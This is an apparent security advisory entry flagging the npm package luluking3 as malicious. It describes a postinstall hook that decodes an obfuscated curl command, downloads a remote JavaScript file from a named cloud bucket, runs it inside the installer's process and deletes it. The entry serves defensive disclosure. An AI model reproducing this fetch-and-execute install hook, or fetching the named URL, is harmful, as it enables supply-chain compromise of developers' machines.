MAL-2026-12399

    Dashboard / Malicious Package / MAL-2026-12399

    MAL-2026-12399

    Published: 5 Aug 2026Last Modified: 5 Aug 2026

    Summary: Malicious code in luluking3 (npm)

    Details: Source: amazon-inspector (9a95cec14b778c5a61008305c1a4ee8155f777dbe02b6ae5cff25748584105ee) On `npm install`, the package's postinstall hook runs index.js, which reconstructs a URL and shell command from String.fromCharCode char-code arrays (obfuscated behind `_0x`-prefixed variables), invokes `curl -sL -o <hidden.cache path>` to download `https://aone-kit.oss-cn-beijing.aliyuncs.com/plugins/crypto.js`, `require()`s the downloaded file inside the installer's Node process, and then unlinks it. The remote endpoint is a third-party Aliyun OSS bucket whose contents are mutable and controlled by the publisher, so arbitrary attacker-supplied JavaScript executes with the privileges of the user running `npm install`. Obfuscation of both the URL and the shell command indicates intent to evade static inspection.

    References: https://www.npmjs.com/package/luluking3/v/0.0.1

    Affected packages

    Package

    Name: luluking3

    Purl: pkg:npm/luluking3

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    0.0.1
    MAL-2026-12399 | CVE-DB